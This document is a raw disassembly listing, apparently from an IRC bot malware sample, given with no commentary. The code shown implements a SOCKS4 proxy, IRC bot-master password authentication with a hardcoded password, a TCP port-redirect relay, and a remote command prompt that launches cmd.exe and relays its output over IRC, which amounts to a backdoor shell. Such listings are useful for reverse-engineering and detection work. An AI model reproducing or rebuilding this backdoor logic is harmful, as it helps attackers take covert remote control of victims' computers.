mov [ebp+var_46C], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_468], eax
lea eax, [ebp+var_508]
push eax
mov [ebp+var_50C], esi
call sub_418EF0
add esp, 0Ch
push [ebp+var_478]
push esi
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2DC]
push 11h
push eax
call sub_4161EB
add esp, 1Ch
mov [ebp+var_474], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_50C]
push ebx
push eax
push offset sub_414902
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_474]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_4123C6
loc_4123B0: ; CODE XREF: sub_40C50A+5EBAj
cmp [ebp+var_464], ebx
jnz loc_40C97C
push 32h
call ds:dword_4942D8
jmp short loc_4123B0
; ---------------------------------------------------------------------------
loc_4123C6: ; CODE XREF: sub_40C50A+5EA4j
call ds:dword_4942F0
push eax
push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
jmp loc_4127C2
; ---------------------------------------------------------------------------
loc_4123D7: ; CODE XREF: sub_40C50A+F49j
; sub_40C50A+F5Ej ...
push edi
push offset aSecure_2 ; "secure"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_4123FF
push edi
push offset aSec_0 ; "sec"
call sub_419360
pop ecx
mov [ebp+var_46C], ebx
test eax, eax
pop ecx
jnz short loc_412409
loc_4123FF: ; CODE XREF: sub_40C50A+5EDCj
mov [ebp+var_46C], 1
loc_412409: ; CODE XREF: sub_40C50A+5EF3j
push [ebp+var_8C]
lea eax, [ebp+var_4F0]
push 80h
push eax
call sub_418EF0
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_46C], ebx
mov [ebp+var_4F4], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_412450
mov eax, offset aUnsecuring ; "Unsecuring"
loc_412450: ; CODE XREF: sub_40C50A+5F3Fj
push eax
push offset aSecureSSystem_ ; "[SECURE]: %s system."
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_418EF0
push ebx
lea eax, [ebp+var_2DC]
push 19h
push eax
call sub_4161EB
add esp, 1Ch
mov [ebp+var_470], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F4]
push ebx
push eax
push offset sub_413AD1
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_470]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_4124C4
loc_4124AE: ; CODE XREF: sub_40C50A+5FB8j
cmp [ebp+var_460], ebx
jnz loc_40EFB5
push 32h
call ds:dword_4942D8
jmp short loc_4124AE
; ---------------------------------------------------------------------------
loc_4124C4: ; CODE XREF: sub_40C50A+5FA2j
call ds:dword_4942F0
push eax
push offset aSecureFailed_0 ; "[SECURE]: Failed to start secure thread"...
loc_4124D0: ; CODE XREF: sub_40C50A+3DA5j
; sub_40C50A+4ACFj ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
jmp loc_40EFB5
; ---------------------------------------------------------------------------
loc_4124E4: ; CODE XREF: sub_40C50A+F1Fj
; sub_40C50A+F34j
push offset aFenr_0 ; "FEnR"
push offset aMainS ; "[MAIN]: %s"
loc_4124EE: ; CODE XREF: sub_40C50A+486Fj
; sub_40C50A+4B83j ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
loc_4124FA: ; CODE XREF: sub_40C50A+570Cj
add esp, 0Ch
jmp loc_40E760
; ---------------------------------------------------------------------------
loc_412502: ; CODE XREF: sub_40C50A+EF5j
; sub_40C50A+F0Aj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412559
push esi
call sub_4195F0
cmp eax, ebx
pop ecx
jl short loc_412551
cmp eax, 2
jge short loc_412551
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_412549
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2DC]
push offset aMainUserSLog_1 ; "[MAIN]: User %s logged out."
push eax
call sub_418D70
add esp, 0Ch
mov [esi], bl
jmp short loc_4125A2
; ---------------------------------------------------------------------------
loc_412549: ; CODE XREF: sub_40C50A+6021j
push eax
push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
jmp short loc_412593
; ---------------------------------------------------------------------------
loc_412551: ; CODE XREF: sub_40C50A+600Cj
; sub_40C50A+6011j
push eax
push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d."
jmp short loc_412593
; ---------------------------------------------------------------------------
loc_412559: ; CODE XREF: sub_40C50A+6001j
mov edi, [ebp+arg_18]
xor esi, esi
loc_41255E: ; CODE XREF: sub_40C50A+6070j
push [ebp+var_94]
push edi
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_41257E
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41255E
jmp short loc_4125A2
; ---------------------------------------------------------------------------
loc_41257E: ; CODE XREF: sub_40C50A+6064j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D4]
push eax
push offset aMainUserSLog_2 ; "[MAIN]: User %s logged out."
loc_412593: ; CODE XREF: sub_40C50A+1CDEj
; sub_40C50A+1D0Cj ...
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 0Ch
loc_4125A2: ; CODE XREF: sub_40C50A+1CC2j
; sub_40C50A+1CF2j ...
cmp [ebp+var_8], ebx
jnz loc_40CE3C
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
jmp loc_40CE3C
; ---------------------------------------------------------------------------
loc_4125CC: ; CODE XREF: sub_40C50A+ECBj
; sub_40C50A+EE0j
push [ebp+var_90]
push offset a332_4 ; "332"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_41263B
call sub_4163B4
push ebx
call ds:dword_49432C
loc_4125EE: ; CODE XREF: sub_40C50A+EA1j
; sub_40C50A+EB6j
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_9B8], bl
setnz al
push eax
lea eax, [ebp+var_928]
push dword_43E1C0
push eax
call sub_4138AA
lea eax, [ebp+var_928]
push eax
push offset aNickS_3 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_4083E7
lea eax, [ebp+var_928]
push eax
push offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
call sub_403655
loc_412638: ; CODE XREF: sub_40C50A+2C10j
add esp, 24h
loc_41263B: ; CODE XREF: sub_40C50A+632j
; sub_40C50A+63Ej ...
mov eax, [ebp+arg_24]
jmp loc_40C97F
; ---------------------------------------------------------------------------
loc_412643: ; CODE XREF: sub_40C50A+A9Dj
; sub_40C50A+AB2j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40C97C
cmp [ebp+var_B8], ebx
jnz loc_40C97C
push offset asc_43F0B8 ; "!"
push [ebp+var_94]
call sub_419890
mov esi, eax
push offset dword_491D78
push ebx
inc esi
call sub_419890
push offset asc_43F0BC ; "~"
push eax
call sub_419890
push [ebp+arg_0]
mov edi, eax
push offset a19736666386888 ; "19736666386888"
call sub_419360
add esp, 20h
test eax, eax
jz short loc_4126D9
lea eax, [ebp+var_D4]
push edi
push eax
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_4083E7
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_4083E7
push edi
push esi
push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)."
jmp short loc_412735
; ---------------------------------------------------------------------------
loc_4126D9: ; CODE XREF: sub_40C50A+6194j
mov [ebp+arg_24], offset off_43E268
loc_4126E0: ; CODE XREF: sub_40C50A+61F2j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_41676E
pop ecx
test eax, eax
pop ecx
jnz short loc_412749
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_43E26C
jl short loc_4126E0
lea eax, [ebp+var_D4]
push edi
push eax
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_4083E7
lea eax, [ebp+var_D4]
push eax
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_4083E7
push edi
push esi
push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)."
loc_412735: ; CODE XREF: sub_40C50A+61CDj
lea eax, [ebp+var_2DC]
push eax
call sub_418D70
add esp, 30h
jmp loc_40CE3C
; ---------------------------------------------------------------------------
loc_412749: ; CODE XREF: sub_40C50A+61E5j
mov edi, [ebp+arg_18]
xor esi, esi
loc_41274E: ; CODE XREF: sub_40C50A+626Ej
cmp [ebp+arg_0], ebx
jz loc_40C97C
cmp [edi], bl
jnz short loc_41276E
push [ebp+arg_0]
push offset a19736666386888 ; "19736666386888"
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_41277F
loc_41276E: ; CODE XREF: sub_40C50A+624Fj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41274E
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_41277F: ; CODE XREF: sub_40C50A+6262j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_AA8]
push 7Fh
push eax
push esi
call sub_4191A0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4127B6
push ebx
push [ebp+var_4]
push offset aMainPasswordAc ; "[MAIN]: Password accepted."
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40842D
add esp, 14h
loc_4127B6: ; CODE XREF: sub_40C50A+6290j
lea eax, [ebp+var_D4]
push eax
push offset aMainUserSLog_3 ; "[MAIN]: User: %s logged in."
loc_4127C2: ; CODE XREF: sub_40C50A+59Bj
; sub_40C50A+5B3Bj ...
call sub_403655
loc_4127C7: ; CODE XREF: sub_40C50A+17CEj
pop ecx
loc_4127C8: ; CODE XREF: sub_40C50A+2AB7j
pop ecx
jmp loc_40C97C
; ---------------------------------------------------------------------------
loc_4127CE: ; CODE XREF: sub_40C50A+205j
; sub_40C50A+21Aj
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push offset asc_43E250 ; "+x"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_4083E7
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_4083E7
add esp, 2Ch
mov dword_491D68, edi
jmp loc_40C79E
sub_40C50A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412814 proc near ; DATA XREF: sub_40C50A+36E7o
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_44B6C0 ; htons
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_44B740 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_412978
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_44D064[eax], ebx
call dword_44B5DC ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_44B6EC ; bind
test eax, eax
jnz loc_412978
push 0Ah
push ebx
call dword_44B6E8 ; listen
test eax, eax
jnz loc_412978
loc_4128BE: ; CODE XREF: sub_412814+BEj
; sub_412814+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_44B754 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4128BE
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset aRedirectClient ; "[REDIRECT]: Client connection from IP: "...
push eax
call sub_418D70
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_4161EB
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_44D05C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_41299C
push esi
push esi
call ds:dword_4942F4
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_44D06C[ecx], eax
jz short loc_412963
loc_412950: ; CODE XREF: sub_412814+14Dj
cmp [ebp+var_2C], esi
jnz loc_4128BE
push 32h
call ds:dword_4942D8
jmp short loc_412950
; ---------------------------------------------------------------------------
loc_412963: ; CODE XREF: sub_412814+13Aj
call ds:dword_4942F0
push eax
push offset aRedirectFail_0 ; "[REDIRECT]: Failed to start client thre"...
call sub_403655
pop ecx
pop ecx
jmp short loc_41297B
; ---------------------------------------------------------------------------
loc_412978: ; CODE XREF: sub_412814+61j
; sub_412814+93j ...
mov edi, [ebp+arg_0]
loc_41297B: ; CODE XREF: sub_412814+162j
push edi
call dword_44B758 ; closesocket
push ebx
call dword_44B758 ; closesocket
push [ebp+var_3C]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_412814 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41299C proc near ; DATA XREF: sub_412814+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_418D40
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_44B740 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_412B52
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_44B6C0 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_44B700 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_412A2C
lea eax, [ebp+var_13C]
push eax
call dword_44B744 ; gethostbyname
jmp short loc_412A3A
; ---------------------------------------------------------------------------
loc_412A2C: ; CODE XREF: sub_41299C+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_44B678 ; gethostbyaddr
loc_412A3A: ; CODE XREF: sub_41299C+8Ej
cmp eax, edi
jz loc_412B52
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jz loc_412B52
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset aRedirectClie_0 ; "[REDIRECT]: Client connection to IP: %s"...
push eax
call sub_418D70
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_4161EB
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_44D064[ebx]
mov dword_44D05C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_44D068[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_412B83
push edi
push edi
call ds:dword_4942F4
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_44D06C[ecx], eax
jz short loc_412B3F
loc_412AEC: ; CODE XREF: sub_41299C+15Dj
cmp [ebp+var_20], edi
jnz short loc_412AFB
push 32h
call ds:dword_4942D8
jmp short loc_412AEC
; ---------------------------------------------------------------------------
loc_412AFB: ; CODE XREF: sub_41299C+153j
mov ebx, 1000h
loc_412B00: ; CODE XREF: sub_41299C+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_44B6D8 ; recv
cmp eax, edi
jle short loc_412B52
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_412B00
jmp short loc_412B52
; ---------------------------------------------------------------------------
loc_412B3F: ; CODE XREF: sub_41299C+14Ej
call ds:dword_4942F0
push eax
push offset aRedirectFail_1 ; "[REDIRECT]: Failed to start connection "...
call sub_403655
pop ecx
pop ecx
loc_412B52: ; CODE XREF: sub_41299C+44j
; sub_41299C+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_44D064[eax]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call dword_44B758 ; closesocket
push [ebp+var_4]
call sub_416507
pop ecx
push edi
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_41299C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B83 proc near ; DATA XREF: sub_41299C+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_418D40
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_412BBA: ; CODE XREF: sub_412B83+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_44D068[esi]
call dword_44B6D8 ; recv
test eax, eax
jle short loc_412C01
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_44D064[esi]
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_412BBA
loc_412C01: ; CODE XREF: sub_412B83+61j
push dword_44D068[esi]
call dword_44B758 ; closesocket
push [ebp+var_14]
call sub_416507
pop ecx
push 0
call ds:dword_4942FC
pop edi
pop esi
sub_412B83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412C20 proc near ; CODE XREF: sub_412C50+2Ap
; sub_412C88+7Ep ...
mov eax, dword_491D94
push esi
mov esi, ds:dword_4942E0
cmp eax, 0FFFFFFFFh
jz short loc_412C34
push eax
call esi
loc_412C34: ; CODE XREF: sub_412C20+Fj
mov eax, dword_491D9C
cmp eax, 0FFFFFFFFh
jz short loc_412C41
push eax
call esi
loc_412C41: ; CODE XREF: sub_412C20+1Cj
mov eax, dword_491D90
cmp eax, 0FFFFFFFFh
jz short loc_412C4E
push eax
call esi
loc_412C4E: ; CODE XREF: sub_412C20+29j
pop esi
retn
sub_412C20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C50 proc near ; CODE XREF: sub_40449C+14Ap
; sub_40C50A+489Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_418E70
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_491D98
call ds:dword_4942E4
test eax, eax
jnz short loc_412C83
call sub_412C20
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_412C83: ; CODE XREF: sub_412C50+28j
push 1
pop eax
leave
retn
sub_412C50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C88 proc near ; CODE XREF: sub_412D0F+D3p
; sub_412D0F+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_491DDC
push [ebp+arg_4]
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_412CCB
push 7D0h
call ds:dword_4942D8
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_418D70
add esp, 10h
jmp short loc_412CE2
; ---------------------------------------------------------------------------
loc_412CCB: ; CODE XREF: sub_412C88+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_31 ; "%s"
push eax
call sub_418D70
add esp, 0Ch
loc_412CE2: ; CODE XREF: sub_412C88+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_44B710 ; send
test eax, eax
jg short loc_412D0B
call sub_412C20
loc_412D0B: ; CODE XREF: sub_412C88+7Cj
xor eax, eax
leave
retn
sub_412C88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D0F proc near ; DATA XREF: sub_412E64+174o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_491DA0
loc_412D27: ; CODE XREF: sub_412D0F+79j
; sub_412D0F+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_491D94
call ds:dword_4943E0
test eax, eax
jz loc_412DF5
cmp [ebp+var_4], edi
jnz short loc_412D8A
lea eax, [ebp+var_8]
push eax
push dword_491D90
call ds:dword_4943DC
test eax, eax
jz short loc_412D80
cmp [ebp+var_8], 103h
jnz loc_412E19
loc_412D80: ; CODE XREF: sub_412D0F+62j
push 0Ah
call ds:dword_4942D8
jmp short loc_412D27
; ---------------------------------------------------------------------------
loc_412D8A: ; CODE XREF: sub_412D0F+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_412DA1
loc_412D91: ; CODE XREF: sub_412D0F+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_412DEF
inc eax
cmp eax, [ebp+var_4]
jb short loc_412D91
loc_412DA1: ; CODE XREF: sub_412D0F+80j
mov [ebp+var_4], esi
loc_412DA4: ; CODE XREF: sub_412D0F+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_491D94
call ds:dword_4942DC
test eax, eax
jz short loc_412E41
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_491DD4
call sub_412C88
add esp, 0Ch
jmp loc_412D27
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412D0F+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_412DA4
; ---------------------------------------------------------------------------
loc_412DF5: ; CODE XREF: sub_412D0F+45j
push offset aCmdCouldNotRea ; "[CMD]: Could not read data from procces"...
push ebx
push dword_491DD4
call sub_412C88
push [ebp+arg_0]
call sub_416507
add esp, 10h
push 1
call ds:dword_4942FC
loc_412E19: ; CODE XREF: sub_412D0F+6Bj
call sub_412C20
push offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
push ebx
push dword_491DD4
call sub_412C88
push [ebp+arg_0]
call sub_416507
add esp, 10h
push edi
call ds:dword_4942FC
loc_412E41: ; CODE XREF: sub_412D0F+C3j
push offset aCmdCouldNotR_0 ; "[CMD]: Could not read data from procces"...
push ebx
push dword_491DD4
call sub_412C88
push [ebp+arg_0]
call sub_416507
add esp, 10h
push edi
call ds:dword_4942FC
sub_412D0F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E64 proc near ; CODE XREF: sub_40449C+99p
; sub_40C50A+5775p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_412C20
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_44B77C ; SearchPathA
test eax, eax
jz loc_412F5E
lea eax, [ebp+var_1C]
mov edi, ds:dword_4943E8
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_412F5E
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_412F5E
mov edi, ds:dword_494290
push 3
push esi
push esi
push offset dword_491D98
call edi
push eax
push [ebp+var_8]
call edi
push eax
call ds:dword_4943E4
test eax, eax
jz short loc_412F5E
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_4189A0
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_4189A0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset dword_491DE0
push eax
loc_412F49: ; DATA XREF: .data:off_442874o
; .data:off_442878o
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_494330
test eax, eax
jnz short loc_412F66
loc_412F5E: ; CODE XREF: sub_412E64+2Ej
; sub_412E64+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_413018
; ---------------------------------------------------------------------------
loc_412F66: ; CODE XREF: sub_412E64+F8j
push [ebp+var_4]
mov edi, ds:dword_4942E0
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_491D94, eax
mov eax, [ebp+var_8]
mov dword_491D9C, eax
mov eax, [ebp+var_2C]
mov dword_491D90, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_491DD4, eax
jz short loc_412FA0
push [ebp+arg_4]
jmp short loc_412FA5
; ---------------------------------------------------------------------------
loc_412FA0: ; CODE XREF: sub_412E64+135j
push offset dword_491DE4
loc_412FA5: ; CODE XREF: sub_412E64+13Aj
push offset dword_491DA0
call sub_418D70
pop ecx
pop ecx
push esi
push 7
push offset aCmdRemoteComma ; "[CMD]: Remote Command Prompt"
call sub_4161EB
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_44D060[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_412D0F
push esi
push esi
call ds:dword_4942F4
cmp eax, esi
mov dword_44D06C[edi], eax
jnz short loc_413016
call ds:dword_4942F0
push eax
lea eax, [ebp+var_378]
push offset aCmdFailedToSta ; "[CMD]: Failed to start IO thread, error"...
push eax
call sub_418D70
lea eax, [ebp+var_378]
push eax
call sub_4035E1
add esp, 10h
loc_413016: ; CODE XREF: sub_412E64+189j
xor eax, eax
loc_413018: ; CODE XREF: sub_412E64+FDj
pop edi
pop esi
leave
retn
sub_412E64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
